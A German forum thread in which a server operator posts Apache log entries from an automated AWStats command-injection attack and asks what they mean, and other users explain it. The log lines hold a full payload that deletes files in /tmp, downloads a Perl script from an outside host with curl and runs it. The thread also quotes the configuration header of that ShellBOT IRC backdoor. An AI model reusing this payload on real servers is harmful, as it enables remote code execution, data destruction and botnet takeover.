Programmieren - alles kontrollieren 4.940 Themen, 20.676 Beiträge

Perl Script versuchte Server zu übernehmen

Gerald Reinhard / 7 Antworten / Baumansicht Nickles

Hallo,
Ich Betreibe einen Testserver (XP) mit Apache 2 darauf.
Heute fand ich nun folgenden Eintrag:

207.44.250.51 - - [25/Aug/2005:16:27:39 +0200] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 287
207.44.250.51 - - [25/Aug/2005:16:27:39 +0200] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 294
207.44.250.51 - - [25/Aug/2005:16:27:40 +0200] "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 294
207.44.250.51 - - [25/Aug/2005:16:27:40 +0200] "GET /cgi/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 290
207.44.250.51 - - [25/Aug/2005:16:27:40 +0200] "GET /awstats.pl/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 297
207.44.250.51 - - [25/Aug/2005:16:27:41 +0200] "GET /stats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 292
207.44.250.51 - - [25/Aug/2005:16:27:41 +0200] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 300
207.44.250.51 - - [25/Aug/2005:16:27:41 +0200] "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/f1031nn/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 300

Ich habe mir nun dieses a.pl mal angeschaut.

#!/usr/bin/perl
#
# ShellBOT - hackbox
#
# 0ldW0lf - bai3tzasu@yahoo.com
# - www.atrix-team.org
# - www.atrix.cjb.net
#
#
################ CONFIGURACAO #################################################################
my $processo = \'/usr/local/apache/bin/httpd -DSSL\'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my $linas_max=\'48\'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my $sleep=\'4\'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=("poison","asfasdas"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=("#poison laura"); # Caso haja senha ("#canal :senha") #
#----------------------------------------------################################################
my $nick=\'poison\'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my $ircname = \'cineva\'; # User ID #
#----------------------------------------------################################################
chop (my $realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
$servidor=\'eu.undernet.org\' unless $servidor; # Servidor de irc que vai ser usado #
# caso não seja especificado no argumento #
#----------------------------------------------################################################
my $porta=\'6667\'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################

Wenn ich das richtig verstehe, will sich dieses Script mit dem IRC verbinden.

Ferner fand ich noch u.a. folgenden Eintrag:

[Thu Aug 25 16:27:41 2005] [error] [client 207.44.250.51] File does not exist: C:/andreas/Eigene Dateien/Eigene Webs/eigenesweb/stats

Thu Aug 25 16:27:39 2005] [error] [client 207.44.250.51] script not found or unable to stat: E:/Programme/Apache Group/Apache2/cgi-bin/awstats.pl

Kann jemand damit was anfangen?

MfG
Gerald

Das Script gibt es unter http://www.geocities.com/f1031nn/a.pl.

bei Antwort benachrichtigen
out-freyn Gerald Reinhard „Perl Script versuchte Server zu übernehmen“
Optionen

Zunächst mal ist wichtig, was hinter dem "GET" steht. Offensichtlich wurde auf dem Server nach einer Datei namens "awstats.pl" gesucht. Diese Datei gehört zu einem freien Log-Analyzer (grafische Aufbereitung der geloggten Daten, vgl. auch Webalizer). Diese Datei ist aber entweder gar nicht vorhanden, oder aber in einem anderen als den geratenen Verzeichnissen - jedenfalls wurde jedes Mal der Statuscode "404" zurückgegeben.

Genaueres kann vielleicht jemand sagen, der sich mit Perl auskennt und sich mal die Funktionen der awstats.pl anschaut. Ich gehe mal davon aus, dass jemand Deine Log-Daten klauen will, indem er sich diese per IRC zuschickt (bzw. schicken lässt).

The conspiracy theory of society [...] comes from abandoning God and then asking: »Who is in his place?« (Sir Karl Popper, Conjectures and Refutations, 1963)
bei Antwort benachrichtigen
Gerald Reinhard out-freyn „Zunächst mal ist wichtig, was hinter dem GET steht. Offensichtlich wurde auf...“
Optionen

Richtig, awstats.pl existiert bei mir nicht, bzw. Perl ist überhaupt nicht installiert.
Interessant währe schon, was das Script (a.pl) überhaupt macht.

bei Antwort benachrichtigen
Hanussen Gerald Reinhard „Richtig, awstats.pl existiert bei mir nicht, bzw. Perl ist überhaupt nicht...“
Optionen

Also der Scriptauszug erscheint mir jetzt nicht sonderlich dramatisch, schon eher dramatisch finde ich das mein Virenscanner das öffnen des Scripts geblockt hat mit einer Virenwarnung...

Wie fängt man sich sowas ein ?

MfG Hanussen

bei Antwort benachrichtigen
Hanussen Nachtrag zu: „Also der Scriptauszug erscheint mir jetzt nicht sonderlich dramatisch, schon...“
Optionen
bei Antwort benachrichtigen
Gerald Reinhard Hanussen „http://securityresponse.symantec.com/avcenter/venc/data/backdoor.shellbot.html“
Optionen

Nun ja, eingefangen habe ich mir das Script nicht. Das Script wurde ja auf einem externen Server gestartet. Mir ist es durch die Apache-Logs aufgefallen, das irgendwas auf meine Dateien zugreifen wolte.

bei Antwort benachrichtigen
the_mic Gerald Reinhard „Nun ja, eingefangen habe ich mir das Script nicht. Das Script wurde ja auf einem...“
Optionen

das sind üblche angriffe auf linux/unix-webserver, welche awstats installiert haben. dieses programm fällt durch häufige sicherheitsmängel auf :­-( da awstats bei dir nicht installiert ist, wirft der apache natürlich einen error 404 (datei nicht gefunden).
das ist kein gezielter angriff auf deinen server, das sind automatisierte attacken auf willkürliche rechner, die von bots gemacht werden.

cat /dev/brain > /dev/null
bei Antwort benachrichtigen
Gerald Reinhard the_mic „das sind üblche angriffe auf linux/unix-webserver, welche awstats installiert...“
Optionen

Danke für die Info.

bei Antwort benachrichtigen